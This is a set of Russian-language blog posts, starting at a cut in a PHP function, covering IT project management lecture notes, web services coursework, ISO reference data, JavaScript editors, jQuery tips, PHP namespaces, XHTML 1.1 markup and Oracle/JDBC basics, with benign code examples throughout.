$sString = str_replace('""', "'", $sString);
$aBits = explode($sSeparator, $sString);
$aElements = array();
for ($i = 0; $i < count($aBits); $i++) {
if (($i % 2) == 1) {
$aElements[] = $aBits[$i];
}
else {
$sRest = $aBits[$i];
$sRest = preg_replace("/^" . $sSeparator . "/", "", $sRest);
$sRest = preg_replace("/" . $sSeparator . "$/", "", $sRest);
$aElements = array_merge($aElements, explode($sSeparator, $sRest));
}
}

return $aElements;
}

Оценка сложности, качества и коллектива проекта

· 8 мин. чтения

Работа расширяется и как правило превышает отпущенное на неё времяПервый закон Паркинсона

Проект - делопроизводство с вовлечением человеческих, финансовых и материальных ресурсов и организованный с тем что-бы уложиться в рамки ресурсов и времени и достичь поставленные тестируемые требования

Управление проектом - действия по направленному приложению усилий с применением имеющихся знаний и ресурсов ради достижения поставленных чётких целей. Успешность проекта полностью зависит от организации. Может оцениваться вещественно и невещественно (общественное мнение и тп.)


Типы проектов

  • низкотехнологичные, основанные на существующих стандартах (например ERP, CMS)

  • технологичные, основывающиеся на практически готовых технологиях (дополнения существующих проектов)

  • высокотехнологичные, практическое большинство написано специально для проекта (программы для военных, софт для мобильных аппаратов)

  • super high-tech

Оценка успешности проекта

  • по времени, расходам, качеству выполненной работы до завершения проекта
  • влияние на краткосрочную прибыль клиента
  • по полученному положению (преимуществу) в сравнении с конкурентами
  • по личному отношению клиента к выполненной работе

Цикл жизни и опыт коллектива

Методы подхода к реализации проекта можно разделить на:

Проектоориентированные - как организована работа коллективаСистемоориентированные - какой проект в техническом плане
- Waterfall
  • Sashimi waterfall

  • Staged Delivery

  • Controlled Iteration

  • Spiral

  • RUP

  • XP

  • Scrum

  • Evolutionary Prototyping

  • Code and Fix

  • Agile|- PMBOK - описывает область знаний и прилегающие области необходимые при выполнении проекта. Включает стандарты, общие требования к знаниям

  • MPMM -

  • Prince2|

Жизненный цикл проекта определяет время начала, конца и промежуточные периоды. Эти периоды (итерации, фазы) в зависимости от выбранной методологии и проекта могут быть к примеру:

  • Необходимость, планирование,создание, проверка, завершение
  • Дизайн, программирование, тестирование, обучение, выпуск

В свою очередь вне зависимости от масштаба периода, вплоть до элементарной задачи сотрудника, можно выделить мировоззрение PDCA - планировании, действии, проверке и докладу.

Оценка сложности

Происходит по аналогии либо по анализу. По аналогии соответсвенно похожие задачи были некогда проделаны и общее время известно. По анализу просчитывается количество функций, требований, сложности и действий с умножением на некую среднюю величину. Существует также и метод оценки PERT, работающий по формуле:

Оценка (чел/час) = (оптимистичная + 4 * ожидаемая + пессимистичная) /6

Включает в себя время, ресурсы, риски, последовательность. На этом этапе происходит как правило и WBS - разбивка проекта на части для получения иерархичной структуры заданий и их последовательности. Декомпозиция происходит так, что имеется предел на минимальный размер задания, а также задания одного уровня иерархии максимально независимы друг от друга.

Оценка должна учитывать в контексте системы четыре аспекта:

  1. Разрабатываемый продукт для клиента
  2. Бумажную работу и проволочки внутри фирмы (т.н. издержки на организацию работы)
  3. Услуги и работы которые необходимо будет делать после завершения проекта (поддержка, обучение и тп.)

Сортировка задач по времени наглядно видна в MS Project, но в общем там заметны элегантные очевидности - параллельность выполняемых задач (leads) разными людьми в одно и то же вермя и необходимость в запасном времени (lag). Кроме очевидных зависимостей (Конец-Начало) между задачами, теоретически ведь возможны и разные комбинации, когда задачи должны либо завериться одновременно, либо хотя бы немного начаться.

Тем кто захочет создать универсальный планировщих задач прийдётся много попотеть. Ведь недостаточно получить число человеко-часов, надо перевести это на календарь с учётом зависимостей и параллельности задач. В простом случае такую оценку можно получить пройдясь по "критическому пути" - наиболее длинной по времени последовательности взаимосвязанных задач.

Согласно E. Goldratt'у оценка буфера проекта должна составлять 50% от длины критического пути. Если при разработке появляется опоздание в размере более чем 15-20% от критического пути, и невозможно привлечь дополнительные ресурсы, то необходимо делать компромисс между качеством, масштабу работ или оплатой. Потеря ключевого работника может внести опоздание дополнительно в 4-9 недель.

Оценка качества

Качество это тестируемая характеристика выполненной работы, выражающаяся в отношении предоставляемый возможностей к изначальным требованиям. По качеству продукта клиент автоматически судит о брэнде товара или компании.

Основные стандарты качества:

  • Six Sigma - статистический метод от Motorola

  • ISO 10006 - Guidelines to quality in project management

  • TQM

  • CMM

Очень показательны и методы планирования качества. Например анализ расходов (Cost-benefit analysis) можно наблюдать в фильме "Fight Club", где расходы на отзыв автомобилей был бы больше чем бездействие с ежекратной уплатой пострадавшим в авариях по страховке. Анализ расходов на достижение качества (Cost of Quality) с другой стороны показывает сколько надо тратить на всевозможные проверки, тестирование, стандартизацию, исправления, гарантии до выхода продукта.

В таком разнообразном мире много всевозможных переменных и не только в физическом мире, но и в программном обеспечении. Поэтому существует понятие риска, его вероятности и критичности. Стратегии по улучшению качества включают не только минимизацию риска, но и их смягчение, чёрные сценарии. В инфосистемах это можно наблюдать всюду - в валидации форм, ошибках 404, резервном копировании хостинга, подсказках (tips), подтверждениях (are you sure?), транзакциях с финансовыми операциями и тп.

Качество напрямую связано с тестерами. А они в свою очередь знакомы с некоторыми темами:

  • Диаграммы причин-следствий (Ishikawa)
  • Оценка на основе статистической выборке
  • Японской философии постоянного совершенствования Kaizen
  • Benchmarking, т.е. проверка на скорость реальной системы
  • Принципом Парето 80-20

Проблемы можно классифицировать не только по сложности (слышали про гейзен-баги?) но и по человеческим причинам возникновения:

  • "Без батареек". Человек спешил или самоуверенно не читал чужой код или документацию
  • Смесь третьего ПО. Технократизм программера или архитектора, по гордости или глупости решившего использовать технологии без понимания их совместной работы (см. CORBA, COM и тп.)
  • "А давайте добавим". Слишком большие энтузиасты-управляющие или ленивые программисты часто любят предложить дополнительную работу, не видя общего графика и желая оставить приятное впечатление.
  • Несинхронная архитектура. Как правило затрагивает огромные проекты, где аналитический отдел и программисты не успевают друг за другом, а архитектура меняется на ходу. Причина - отсутсвие нормального управления архитектурой
  • Убивающая Демо-версия. Отдел маркетинга ставит большую важность на демонстрацию системы как зацепляющего клиентов объект, из-за чего комманда разработчиков постоянно занята развитием и поддержкой прототипа самой новой версии и не занимается реальными проектами.
  • Неправильный цикл. Большая контора, но цикл разработки ПО выбран неправильно, отсюда - нестыковки в графике, неизвестное состояние проекта, завышенные расходы.
  • Клиент всегда прав. Постоянные дополнения вносимые управляющим проектом от клиента. В результате - нестабильный дизайн и куча ошибок, незаконченность или взаимосвязанность. Возникает из-за несфокусированности на целевых аудиториях.
  • "Кольцо всевластья". Для универсальности и увеличения продуктивности в фирме все проекты подстраиваются под одну гребёнку, в результате у мелких проектов появляются лишние задачи.
  • Эффект Домино. Ключевого разработчика/дизайнера/аналитика временно переводят на другой проект "помочь", поскольку пока проект отлично успевает. В результате всё идёт ещё хуже - ключевой человек забывает и не имеет понятия о состоянии старого проекта, но и не втянулся в новый проект. Причина - растущая компания, слишком много работы, зависимость от ключевых фигур.
  • Угодить всем. Управляющие вмешиваются в проект в обход управляющего проектом, возникают параллельные задачи, стресс, изменения в планах.

Общение в коллективе

В больших компаниях (более 20 человек) идёт активное разделение и иерархия коллектива на роли и группы. Роли согласно RUP - аналитики, разработчики, тестеры, управляющие и остальные. Но для эффективной работы, создаются группы скажем "CMS PHP team", ".NET gps project team" и тд.

Во главе такой группы технарей стаит управляющий группой (team leader), который координирует работу внутри группы и с управляющим проектами. У нас в компании походая схема и зачастую возникает вопрос - к кому и как обращаться если возникли вопросы по проекту или что-то не так. Трясти постоянно team-leader'а не лучшее решение, он сам не железный, а просто так за спиной подходить к дизайнерам "ребят, исправьте тут работы на пару часов только.." тоже не совсем правильно.

Вообще существует несколько схем организации такой работы и общения.

  1. Функциональная схема предполагает что работа идёт тому, кто наиболее опытен в этой сфере. Проект переходит от одной комманды к другой. Сначала анализ, потом дизайн, потом программирование и тп. Такую систему также сложно поддерживать, расширять или кардинально менять. Общаться практически ни скем не надо.

  2. Безструктурная схема - небольшая анархия. Разговаривать приходится когда попало и с кем угодно, порой по разным проектам одновременно. Из-за этого возникает низкая продуктивность, невозможность предсказать времена.

  3. Уровневая схема. Комманда разработчиков организована по уровню опытности со смешанными ролями. Так что верхние слои отвечают за архитектуру в целом, а нижние за менее важные и более приземлённые части. Работники принадлежат одновременно нескольким группам.

Информационный канал можно тоже упорядочить по степени пропускаемости: Бумажное письмо (без диалога), email, аудио-запись (без диалога), видео (без диалога), телефон, видео конференция, диалог возле доски.

По эволюции комманды с проектом, можно составить следующие психологические ступени:

  1. Создание комманды (Forming), определение целей проекта, ролей участников и задач
  2. Выяснение границ компетентности (Storming), поиск единого стиля
  3. Нормализация отношений (Norming), доверие и спокойная совместная работа
  4. Производственные отношения (Performing), вмешательство управляющих минимально

Оценка безопасности

По ISO существует несколько характеристик действий работника с системой.

  1. Identification: who are you?
  2. Authentication: how do I know your identity is true?
  3. Authorization: are you allowed to perform this transaction?
  4. Integrity: is the data you sent the same as the data I received?
  5. Confidentiality: are we sure that nobody read the data you sent me?
  6. Auditing: record of all transactions so we can look for security problems after the fact
  7. Non-repudiation: both sender and receiver can provide legal proof to a third party (e.g. judge) that the sender did send the message, and the receiver received the identical message
  8. Privacy: addresses the access purpose and data owner choice

Это была статья с вольным переводом основных тем лекций по предмету управления IT-проектами в ТТУ ( IDU3390 - Infos?steemi projekti juhtimine). В заключение - небольшой клип о том что может произойти в офисе если не соблюдать технику стрессовой безопасности и оптимизма

Web-службы и архитектуры приложений для интернета

· 1 мин. чтения

вторник, 13 мая 2008 г. в 19:26:38

Данный предмет (IDU0080 - Web-teenused ja internetilahenduste arhitektuur) преподаётся в ТТУ будующим бакалаврам Информатики профессором Enn Õunapuu, а практические задачи ведутся работниками из Webmedia.

Практические занятия и представляют в данном предмете наибольшую сложность (и опыт). За время семестра разбирается тестовый проект и работа ведётся в Eclipse IDE с Java. Первым заданием даётся возможность составить документацию самому, а в остальных заданиях рассматривается уже наполовину готовая программа.

Проект представляет из себя систему вымышленного производителя одежды "Schmancy panties", при этом общение производится между складом (warehouse), управлением (sales), цехом (production), двумя поставщиками (melaka, hindusilk) и двумя магазинами (beijing, tokyo).

  • Java RMI и FTP
  • REST
  • Web-сервисы (via SOAP & WSDL). Генерация сервера с помощью xfire

Список стран, ISO и международные данные

· 5 мин. чтения

При разработке сайтов с международной аудиторией надо не только иметь списки стран и языков, но и учитывать их взаимосвязи, форматы, временные зоны. Я уже не говорю про трудности перевода и силлогизмы которые могут быть неправильно истолкованы публикой (например blue ? голубой). Но для простоты условимся что настала эпоха тотального глобализма и можно запросто скачать такие универсальные списки в SQL-формате как..

Страны

В основном этим занимается стандарт ISO3166-1. Проблем с нормализацией таблицы стран несколько.

Во-первых это само определение независимого государства. Существует целый список единично, частично или полностью не признанных  мировым сообществом государств. Начиная с Израиля с Китаем до Косово и Палестины, Абхазии и Южной Осетии. Несомненно политику отображения той или иной страны на сайте зависит от клиента - будет он следовать признанию других стран согласно своему гражданству или же либерально будет показывать всё. Однако следует учитывать процессы в которых эта переменная будет учитываться, например отправка почты (billing address).

Во-вторых, как уже было замечено многими специалистами по useability, возникает вопрос useability - на каком языке стоит показывать страну? Соответсвенно переводить надо названия стран на некие языки (все или государственные?), либо использовать написание на коренном языке. Опять же - который брать если их несколько, как в Швейцарии или Индии? Наконец, к странам можно приписать множество параметров, которые могут характеризовать различные социологические, политические, исторические, финансовые и прочие.

Языки

Флаг и герб стран это символ государства, а не языка. Языков в мире более десяти тысяч и их все пытается классифицировать стандарт ISO 639-3, включающий и взаимосвязи и нынешнее состояние этноса. Я недавно работал с международным сайтом где было 24 страны и каждая страна должна была быть представлена на своём языке. Так вот сам сайт очень простой, но из-за обилия языков возникали постоянно проблемы что где должно показываться. Тут нужна система переводов и чёткое описание иерархии объектов - зависят баннеры от языка или нет, каталог продуктов, статьи и тп.

С точки зрения удобства, как в админке, так и на публичной части сайта, языки должны быть написаны без перевода (native) - "English, Русский, Eesti, Українська" и тд. Если языков более трёх-пяти, то надо делать select если места мало, а дизайн не сильно приспособлен как на Wikipedia. Иметь огромную таблицу всех языков мира может быть полезно только в случае если вы хотите позволить пользователю добавлять языки на сайт самому и при этом ограничить его существующими языками и кодами. Иначе это лишний груз.

Валюта

Почему валюту я выделяю в отдельные таблицы? Во-первых, логически это финансовая характеристика страны которая может достаточно быстро меняться по сравнению с остальными параметрами. Во-вторых к валютам часто приходится приделывать курсы валют, процент налога с оборота, систему оплаты и счетов (billing, invoicing). Наконец это отдельный ISO-4217 стандарт.

Даты и часовые пояса

С возникновением инфотехнологий, проблема дат наглядно ожидалась при Y2K, где чисто техническая ошибка хранения даты могла повлиять на чёрт-знает-какие критические гос.системы. Календарных систем в древности было масса, мне на ум приходит только наш Григорианский, но для исторической справки я порылся, для любопытства:

  • Юлианский календарь (4 г. н.э - 24 февраля 1582 г. н.э.), по нему в году - 365? дней (каждый четвёртый год - високосный). Простолюдинам число дней в месяце можно было легко запомнить по "горам" и "впадинам" на пальцах на кисти двух рук, считая слева направо. Тоесть хрящ (гора) означала январь - 31, впадина (февраль) - 28 или 29, март (31) и тд. Православная церковь до сих пор использует этот календарь.

  • Григорианский календарь заменил Юлианский, было пропущено 10 дней и для улучшения точности введено правило что каждый 100й год - невисокосный, но делящиеся на 400 всё-таки високосные. В среднем за эти 400 лет получается что год равен 365.2425 дней.

  • Длинный счёт календаря майя я немогу не упомянуть, поскольку он точней чем Григорианский, хотя нигде и не используется. В среднем точность года составляет 365.242036 дней и формируется группировкой дней в месяцы (уинал) по 20, а те в свою очередь дальше, получается цикл = 20 дней ? 18 уинал ? 20 тун ? 20 катун ? 13 бактун = 1872000 дней. Когда точно началось исчисление - неизвестно, но по существующей теории этот цикл "Пятого солнца" закончится 20 декабря 2012.

  • Персидский солнечный календарь cоставленный при участии Омар Хаяма. В отличие от Григорианского где ошибка составляет 1 день в 3000 лет, тут год в среднем состоит из 365,24242 дня, с ошибкой 1 день в 4500 лет. Возрождённый в статус официального Иранского календаря в 1925 году, вычислением високосного года явно занимался математик, потому что первый считается таковым если при делении года на 33 остаток составляет 1, 5, 9, 13, 17, 22, 26 или 30.

Существуют ещё и китайский, еврейский, французский календари, конвертировать которые конечно приятно для пользователя, но проблематично технически. В этом смысле я использую только Григорианский, но формат дат зависит от стран, несмотря на существующий ISO 8601.

Из шести комбинаций упорядочивания даты, в мире наиболее популярной стала логичная возрастающая, в странах могут незначительно различаться только разделители и число цифр. Только под США приходится подстраиваться. Не забывайте что для этого формата тоже нужны переводы — для датского например "DD.MM.????"

dd.mm.yyyy13 января 2010Little endian. Ирландия, Россия, Бельгия, Бразилия, Франция, Норвегия, Дания, Нидерланды
y-m-d2010 январь 13Big endian, ISO 8601. Канада, Германия, Япония, Китай, Венгрия
m-d-yсентябрь 8, 1380Middle endian, США
y-d-mСША (службы охраны природы)
m-y-d?
d-y-m?

Автомобильные номера

Валидация автомобильных номеров дело бесмысленное. В Эстонии например приняты несколько стандартов этих номеров и судя по списку они отличаются и цветом и формой и числом букв/цифр. При этом надо помнить что бывают и заграничные и заказные номера. Поэтому какую-нибудь автоматическую парковку или определение номеров по изображению делать очень проблематично.

Итого SQL-dump весит 16 мб, состоит из 4 таблиц:

  • iso_countries
  • iso_currency
  • iso_languages
  • iso_country_ip

Источники:

Редакторы кода с помощью javascript

· 2 мин. чтения

Очень часто в web-проектах надо использовать визуальный редактор кода (richtext code editor), похожий на существующие IDE, с номерами строк и подсветкой кода. Наиболее часто он используется в редактировании исходного кода статьи или шаблонов в админке. В этой статье я перечислю существующие скрипты по аналогии со списком WYSIWYG-редакторов.

Практически все существующие визуальные редакторы создают iframe и генерируют внутри страницу в соответсвии с данными javascript-объекта, занимающимся всеми задачами по генерации кода и обработке клавиш.

Основанные на iframe:

  • EditArea — наиболее популярный редактор благодаря табуляции, gzip, совместимость пространства имён с другими библиотеками

  • CodePress — парсит SQL, Perl, C#, XSL, ASP, VBscript. Отдельные движки для разных браузеров (gecko=firefox, ie, opera). Создаётся iframe со внутренним CodePress'объектом с обращением через contentWindow. Сразу внутри скрипта идёт поиск textarea-элементов по классу, так что с динамическими ajax-редакторами прийдётся изменять скрипт. Кроме того нумерация (до 1500) строк сделана при помощи одной картинки

  • CodeMirror — парсит JS, HTML, CSS

Напомню что iframe не соответсвует XHTML спецификации, а с использоватьпредложенный тэг object с не сильно получится, из-за ограничения надоступ внутренних dom-элементов (поправьте если я неправ).

Основанные на div'ах

  • Simple CodeArea 0.1b - очень простой но помоему самый логичный подход использовать подсветку синтаксиса благодаря полупрозрачной textarea и div-элементу с форматированным текстом под ней. Единственная проблема - запаздывание при скролле, но в будующем я думаю это перспективный продукт

  • MDK-editor — относительно навороченный редактор, есть контекстное меню. В минусы можно отнести некрасивый скин, небольшую тормознутость, неизвестную лицензию на использование, перезапись window.onload, размер кода свыше 100 кб. Достаточно много классов и обычных функций, просто так не разобраться, тем более без документации.

  • Helene — вместо iframe используется фоновый div и динамически позиционируемая textarea поверх. Поскольку изменяется только один ряд, то невозможно выделить нескольких строк сразу

  • 9ne — похож на консоль, но нет возможности выделения всей строки Shift+End. Эмулирует каретку мигающим div'ом.

Code highlighting

Code - специальный тэг html, который часто связывают с тэгом pre что-бы показать исходный код. Некоторые ухищраются ещё и форматировать каждую строчку внутрь списка, что-бы получить номера строчек, но помоему это слишком.

Что-бы сделать подсветку кода цветом, можно воспользоваться отечественноым highlight.js , который правда у меня странно реагировал, вообще убирая код, кроме того он заточен и на pre тэг, любит когда указывается класс, согласно используемому языку.

Любители обработки кода до его показа - могут попробовать GeSHi

Читайте также

jQuery для продолжающих (с плагинами)

· 4 мин. чтения

jQuery - библиотека о которой в последнее время говорит практически каждый web-разработчик, верстальщик и дизайнер. Написанная с учётом CSS, она упрощает доступ к одному или нескольким DOM-элементам. Если вы ещё используете prototype, то можно использовать режим совместимости (правда не факт что у вас будут работать плагины). Стандартно доступ происходит благодаря функции $ или JQuery. Элементу можно добавить (.addClass) или отнять (.removeClass) CSS-класс. Если это input-элемент, то запись и чтение происходит в аттрибуты элемента (.attr) и напрямую к значению (.val) . Внутренние элементы можно задать как через (.html). Ajax очень просто вызывается функцией $.post (url, val, callback)

Кроме минимализма, ускоренности и CSS-селекторов библиотека мало чем по функциональности отличается от prototype, mootools. Она не расширяет родные JS-объекты, как это делает protype и существует в своём пространстве переменных, поэтому не конфликтует с другими библиотеками

Примеры

  1. Допустим надо сделать массовое удаление из списка (как в почте), для этого генерируется огромный список checkbox'ов, а что-бы их все их массово выделить можно создать глобальный checkbox<input type="checkbox" name="group[{$item.id}]" class="group_checkbox" onchange="$('.group_checkbox').attr('checked',this.checked);">
  2. Часто встаёт вопрос оповещения пользователей об удачном добавлении, ошибке или просто информации. Для этого можно использовать три CSS-класса, при этом элементы можно прятать по прошествии какого-то времени. Для этого используется конструкция, запускающаяся сразу после создания DOM-дерева (а не всего документа)$(document).ready(function() { setTimeout(function() {$('.error').fadeOut('slow');}, 20000);});
  3. Работа с select'ами очень проста (даже с multiple=true), например если надо двумя кнопками перекидывать элементы двух списков, то поможет такой код:$().ready(function() { $('#add').click(function() { return !$('#select1 option:selected').remove().appendTo('#select2'); }); $('#remove').click(function() { return !$('#select2 option:selected').remove().appendTo('#select1'); }); $('#save').click(function(){ $('#select1 option').attr('selected',true); $('#select2 option').attr('selected',true);}); //при сохранении формы выделяем все эелементы });
  4. Выделить в select'е нужный элемент можно без цикла:
    $("#mySelect option[value='3']").attr('selected', 'selected');
  5. Проверить число отмеченных checkbox'ов очень просто:if (!$('.check_one:checked').length)
  6. Каждому элементу можно подключать (bind-ить) обработчики событий, даже несколько за раз…$('#someinput').bind('keyup change keydown', function() { alert ("one of three events is called!");});
  7. Изменить направление формы в зависимости от select'а можно явно (но лучше выносить все обработчики в отдельный файл)
    <form method="post" action="{$data.filter_link}" onsubmit="this.action=this.action+'/'+$('#filter_category option:selected').val();">

Классы в javascript

Несмотря на отличные библиотеки я не спешу бросать prototype.js и переходить на jQuery, потому что плохой код можно писать в любом языке и с любой библиотекой. Поэтому немного ликбеза. В Javascript можно делать объекты - очень удобно инициализировать, но они уникальны и их как массив использовать нельзя:

var CommentControl={ // объект читающий все комментарии
strURL:'/comments/read/', //обычный параметр
Init:function(){ //декларация функции
}}

Классы в javascript инициализируются как обычные функции, внутри которых используется ключевое слово this

function CommentBox(ID){
this.strURL='/comments/reply/'+ID; //параметр куда отсылать ответ
this.ID=ID;
this.reply=function(){
alert("AJAX request goes here");
}
this.update=CommentControl.Read(ID); //ссылка на }

Расширения и библиотеки

Расширения (plugins) в основном написаны обычными разработчиками. В качестве более функциональных наработок с интерфейсом создаётся и jQuery UI, как аналог scriptaculous для prototype, куда входят перетаскиваемые и сортируемые элементы и виджеты для интерфейса - аккордеон, табы, слайдеры и тп. Ниже привожу свой список полезных плагинов + советую уделить внимание презентации об разработке с учётом отключённого javascript. Значительно более детальный список есть на jquerylist

Изображения

  • ThickBox - галерея, аналог lightbox
  • FancyBox - тоже галерея, мне меньше нравится
  • Galleria - галерея
  • Multimedia portfolio - горизонтальный слайдер с видео, картинками и звуком
  • imgAreaSelect - выделение области для вырезания
  • Анимированный блок изображений, подходит при портфолио и панорамах
  • Lightbox с более плавной анимацией чем в prototype + занавеска как положено.
Таблицы
  • Flexigrid - табличные данные
  • InGrid - ajax'ная таблица, но не на json, а на открытом html'е. Впрочем компактном и без хаков.
Формы
  • ajaxForm - создаём как обычно статичную форму, а скрипт делает из неё ajax'овую
  • Autocomplete - на самом деле подгружает html. Небольшие заминки были с настройкой параметра extraParams
  • DatePicker - показывает генерирует календарик под указынными полями
  • FaceBook like - автоподсказки
  • jGrow - размер textarea в зависимости от размера текста
  • DamnSmallRTE - мелкий WYSIWYG
  • Multiselect как обычный select + выезжающие checkbox-ы
  • NiceForms - обрамляет input-ы div-элементами с закруглёнными углами, стилизует radio и checkbox'ы. Я правда предпочитаю более независимую версию nice forms
  • JQuery select - конвертирует все select-элементы в UL, которые можно более гибко стилизовать
  • MaskedInput - маска заполнения input-форм
  • Закачка файлов с созданием iframe-элементов (напоминаю что в XHTML) они не валидные
  • Манипуляция checkboxами и radio с превращением в iphone-стиль
  • jWYSIWYG - простейший редактор
Layout
  • RoundedCorners - закруглённые углы при помощи генерации элемента canvas
  • CodaSlider - слайды в дополнение закладкам (tabs)
  • idTabs - закладки для экономии пространства, но надо стилизовать
  • tooltips - расширенные всплывающие подсказки

Смотрите также:

Пространство имён в php 5.3 и php 6

· 2 мин. чтения

Пространство имён (namespace/package) знакомо java и c# программистам, теперь доступно и в php. Нужно оно для того, что-бы не писать длинные перефиксы к названиям классов, как сейчас делается в Zend, PEAR и других библиотеках и платформах для совместимости.

Вместо этого классы, функции, интерфейсы (абстрактные классы) и константы могут быть объединены в одно пространство имён. Глобальные переменные в это пространство не входят.

Простой пример

Определяется пространство ключевым словом namespace

//определяем класс в пространстве namespace MyCMS::Core; class System{}

Использование этого класса в третьих библиотеках осуществляется ключевым словом use

require_once('mycms/core.php'); use MyCMS::Core::System; //импортируем только заданный класс $objSystem=new System;

Как вы уже догадались, разделитель :: работает так же как и вызов статических методов, разделяя уровень пространства имён и конкретный класс. Уровень вложённости пространств можно использовать наряду с модульностью библиотеки, например реализовать пространства Database::MySQL::Adapter и Database::Oracle::Adapter.

Новые возможности и новые проблемы

Если в пространстве имён имя класса перезаписывает ранее объявленный глобальный класс или функцию, то к нему по прежнему можно обратится через ::SomeClassName, однако не зная к какой именно реализации программист обращается может вызвать проблемы. Например можно переобъявить стандартные php функции, поменять sin() и cos() местами, что-бы кому-то жизнь мёдом не казалась.

Для отладки существует рабочая константа NAMESPACE.

С двоеточием возникает и проблема неоднозначности:

A::B() // вызов функции B из namespace A A::B() // вызов статичного метода B у класса A

Читайте по теме:

Переходим на XHTML 1.1

· 3 мин. чтения

Я недавно ходил в одну контору устраиваться на работу и первый вопрос который я получил это "что такое DOCTYPE" и "расскажи про Strict, Transitional, Quirks". Само собой вопрос не совсем по моей специальности - я не верстальщик, но всё равно я любопытный. В год назад такая же история была со Skype - в итоге я тесно познакомился с Postgre. Так что не долго думая я решил блог по возможности привести к правильному XHTML 1.1, хотя продвигать или уж тем более требовать то же самое от своих коллег я не собираюсь - каждый сам решает уровень своей дисциплинированности.

XHTML приближен по к XML, парсер не должен гадать как то было в Transitional-mode правильно ли автор расставил порядок тэгов. Более того, это передний фронт развития стандарта, следующая фаза будет в версии 2.0. Параллельно с XHTML развивается HTML 5, но почему-то я ему не доверился, наверно интуиция. XHTML советуется объявлять при помощи MIME application/xhtml+xml, но IE как всегда тормозит и не понимает. Приведу некоторые стандартные ошибки, которые я заметил у себя в процессе стандартизации.

Незакрытые тэги, < и &

Я давно уже привык закрывать
, но многие input и img на автомате остались без моего внимания. До этого я часто замечал в чужом коде что внутри ссылок параметры разделяются не просто символом &, а кодом амперсанда &. Как оказалось то же обстоит и с символами тэгов. Все параметры тэгов так-же обязаны быть помещены в кавычки. Очевидно это нужно что-бы ускорить работу парсера. Хотя помоему это чуть излишне.

Всё есть object

Embed это нестандартный тэг часто используемый для вставки видео с youtube (а я советую vimeo), который по всей видимости начал использоватся как совместимость с перекупленным у Netscape движком IE для внедрения объектов внутрь страницы. Он уже отжил своё и его использование в XHTML невозможно. Советы от Elisabeth CastroBernie Zimmerman подтверждают это и советуют использовать нечто подобное:

<object type="application/x-shockwave-flash" width="425" height="350" data="http://www.youtube.com/v/7_6B6vwE83U"> <param name="movie" value="http://www.youtube.com/v/7_6B6vwE83U" /> </object>

Но проблема в том, что даже если использовать версию без embed, то по крайней мере у моей версии tinymce-редактора (а она без wordpress и без плагина) возникает проблема редактирования и повторного открытия - объект начинает играть сразу в редакторе. Благо при переходе на tinymce 3 объект остаётся спрятанным в коде.

Iframe тоже оказывается пережитком прошлого, его как и svg надо использовать через object-тэг.

CDATA в inline script и style

Character Data активно используется в XML что-бы представить символьные данные, на которые не должны накладываться законы формирования документа - знаки обозначения тэгов и амперсандов. В XHTML использовать такая открывающая и закрывающая строка просто необходима для обозначения CSS и Javascript, иначе всякое упоминание & и < будет считаться параметрами или тэгами.

//<![CDATA[ alert "Для javascript добавляются ещё знаки комментирования" //]]>

Обязательные и не существующие элементы

Не существующие тэги и параметры

  • img.border

  • img.align

  • ol.start

  • a.name раньше использовался для навигации по якорям в ссылках (добавляется символ решётки, например #top), теперь заменен на использование параметра id.

  • center

И наоборот, некоторые параметры и вложенные тэги стали строго обязательными

  • ul li - раньше я просто оставлял пустой список, если он заполняется ajax'ом, теперь надо прятать и добавлять пустой li-элемент

  • head title

  • textarea.cols

  • img.alt - приучает развивать фантазию на случай если картинки отключены или грузятся. Глядишь - и print-версию css напишешь.

Для тестирования я использовал как валидатор W3C, так и плагинами для браузеров.

Сетевые интерфейсы к базам данных

· 3 мин. чтения

Перевожу список вопросов-ответов для контрольной по предмету Andmebaasi võrguliidesed который в ТТУ ведёт сейчас Erika Matsak и где основная тема - работа с Oracle из Java посредством JDeveloper. Впрочем я думаю и незнакомым с этой темой будет интересно…

Модели данных

  1. Плоская. Одна таблица (сущность/класс) (MS Excel, телефонная книга). Есть заголовки таблиц, типы и собственно данные
  2. Иерархия. Много сущностей (классов/node'ов) между которыми есть только отношения 1:N. Например меню, страны-города-регионы и тд.
  3. Сеть. Объекты могут связаны N:M отношениями. Люди в соц.сетях, ссылочное ранжирование.
  4. Реляционная модель - расширенная модель сети, где связей может быть несколько.
  5. Продукционная модель - набор правил которые могут быть представлены в виде IF (условие) THEN (действие). Используется в промышленных экспертных системах. Наглядно, модульно, однозначно
  6. Семантическая сеть - расширенная модель сети, где отношения фиксированы и производятся над понятиями объектов и классов (иерархические, функциональные, количественные, пространственные, временные, логические и тп.)
  7. Фреймы Минского - собирательный образ данных для представления человеческого абстрактного восприятия. Состоит из структур, ролей, сценариев, ситуаций. Фреймы можно наследовать

Основы реляционных БД

Таблица считается в первой нормальной форме , если её поля атомарны и у неё есть primary key. Таблица считается во второй нормальной форме, если все поля зависят от primary key, но не зависят от его частей. Таблица в третьей нормальной форме, когда primary key полностью идентифицирует ряд.

Некоторые свойства таблиц:

  1. Порядок рядов в таблице не имеет значения - это множество

  2. Объекты уникальны

  3. Объекты могут идентифицироваться через минимальный ключ (primary key) или несколько ключей (keys)

  4. Объекты можно связать друг с другом внешними ключами (foreign key)

  5. Любой параметр ряда может иметь значение NULL

Oracle и доступ из интернета

Из интернета редактируется в Enterprise Manager = Apex = HTML DB. Также есть SQL*Plus - консоль с расширенными SQL-коммандами (например DESCRIBE)
Пользователь может иметь

  • Системную привилегию, например на создание таблиц/пользователей/соединения

  • Объектную привилегию на доступк конкретной таблице

  • Группы привелегий. Например RESOURCE группирует в себе создание триггеров и процедур, DBA - привилегии админов

Основы SQL

Комманды можно разделить на:

  • SELECT/INSERT/UPDATE/DELETE - основные комманды принципа CRUD.
  • WHERE/HAVING/IF/CASE/THEN/IN/LIKE/EXISTS - основные комманды логической фильтрации
  • ORDER/GROUP - аггрегирующие и сортирующие комманды
  • SYSDATE/TO_CHAR/ROUND/...- функции работающие с одним рядом
  • JOIN - объединение таблиц
PL/SQL

Очень похож на Pascal/Delphi. Используется для обработки данных в таблицах.

DECLARE a NUMBER; b NUMBER; d VARCHAR(20); //инициализация c NUMBER := 3; //присваивание ``BEGIN SELECT e,f INTO a,b FROM T1 WHERE e&gt;1; //чтение в переменные INSERT INTO T1 VALUES(b,a); END;

БД, Java и роль JDeveloper

Соединение создаётся через класс DriverManager.getConnection. В Jdeveloper'е большинство кода можно генерировать визуальными компонентами.

Java beans

Это java-классы, созданные по правилам:

  • конструктор без аргументов
  • параметры имеют методы доступа (get/set/is)
  • наследуют интерфейс java.io.Serializeable

На основе таких правил созданы большинство компонентов графических библиотек Swing. Благодаря своей иерархической структуре, IDE могут легко анализировать и показывать внутренности визуальных компонентов.

Oracle JDBC драйверы

